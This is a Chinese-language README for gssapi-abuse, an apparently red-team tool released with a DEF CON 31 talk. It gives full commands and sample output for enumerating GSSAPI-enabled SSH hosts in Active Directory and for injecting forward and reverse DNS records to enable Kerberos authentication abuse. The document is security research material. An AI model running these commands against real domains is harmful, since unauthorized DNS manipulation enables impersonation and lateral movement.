gssapi-abuse 是作为我在 DEF CON 31 演讲的一部分发布的。关于该滥用向量的完整文章可在此处找到: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
该工具具有两项功能。第一项是枚举已加入 Active Directory 且通过 SSH 提供 GSSAPI 身份验证的非 Windows 主机。
第二项功能是能够对缺少正确前向和/或反向 DNS 查找条目的、可被 GSSAPI 滥用的主机执行动态 DNS 更新。基于 GSSAPI 的身份验证在匹配服务主体名称时非常严格,因此 DNS 条目必须同时通过主机名和 IP 地址匹配服务主体名称。
gssapi-abuse 需要一个可正常工作的 krb5 栈以及正确配置的 krb5.conf。
在 Windows 主机上,除了 requirements.txt 中列出的 Python 模块外,还应安装 MIT Kerberos 软件。该软件可在 MIT Kerberos 分发页面 获取。Windows 的 krb5.conf 位于 C:\ProgramData\MIT\Kerberos5\krb5.conf
在安装 Python 依赖之前,需要先安装 libkrb5-dev 包
满足要求后,您可以通过 pip/pip3 工具安装 Python 依赖
pip install -r requirements.txt
枚举模式将连接到 Active Directory 并执行 LDAP 搜索,查找操作系统属性中不包含 Windows 一词的所有计算机。
获得非 Windows 机器列表后,gssapi-abuse 将尝试通过 SSH 连接每台主机,并判断是否允许基于 GSSAPI 的身份验证。
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] 在 AD 中发现 2 台非 Windows 机器
[!] 主机 ubuntu.ad.ginge.com 未启用 SSH 上的 GSSAPI,忽略
[+] 主机 centos.ad.ginge.com 已启用 SSH 上的 GSSAPI
DNS 模式利用 Kerberos 和 dnspython 通过 DNS-TSIG 协议在端口 53 上执行经过身份验证的 DNS 更新。目前,dns 模式依赖于可正常工作的 krb5 配置,并且需要具有针对特定域控制器的有效 TGT 或 DNS 服务票据,例如 DNS/dc1.victim.local。
为主机 ahost.ad.ginge.com 添加 DNS A 记录
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] 成功认证到 DNS 服务器 win-af8ki8e5414.ad.ginge.com
[=] 正在为目标 ahost 添加 A 记录,数据为 192.168.128.50
[+] 成功应用 1 个更新
为主机 ahost.ad.ginge.com 添加反向 PTR 记录。注意 data 参数以 . 结尾,这一点很重要,否则该记录将成为相对于区域的记录,这不是我们想要的。我们还需要指定要更新的目标区域,因为 PTR 记录存储在与 A 记录不同的区域中。
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] 成功认证到 DNS 服务器 win-af8ki8e5414.ad.ginge.com
[=] 正在为目标 50 添加 PTR 记录,数据为 ahost.ad.ginge.com.
[+] 成功应用 1 个更新
执行后的前向和反向 DNS 查询结果
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50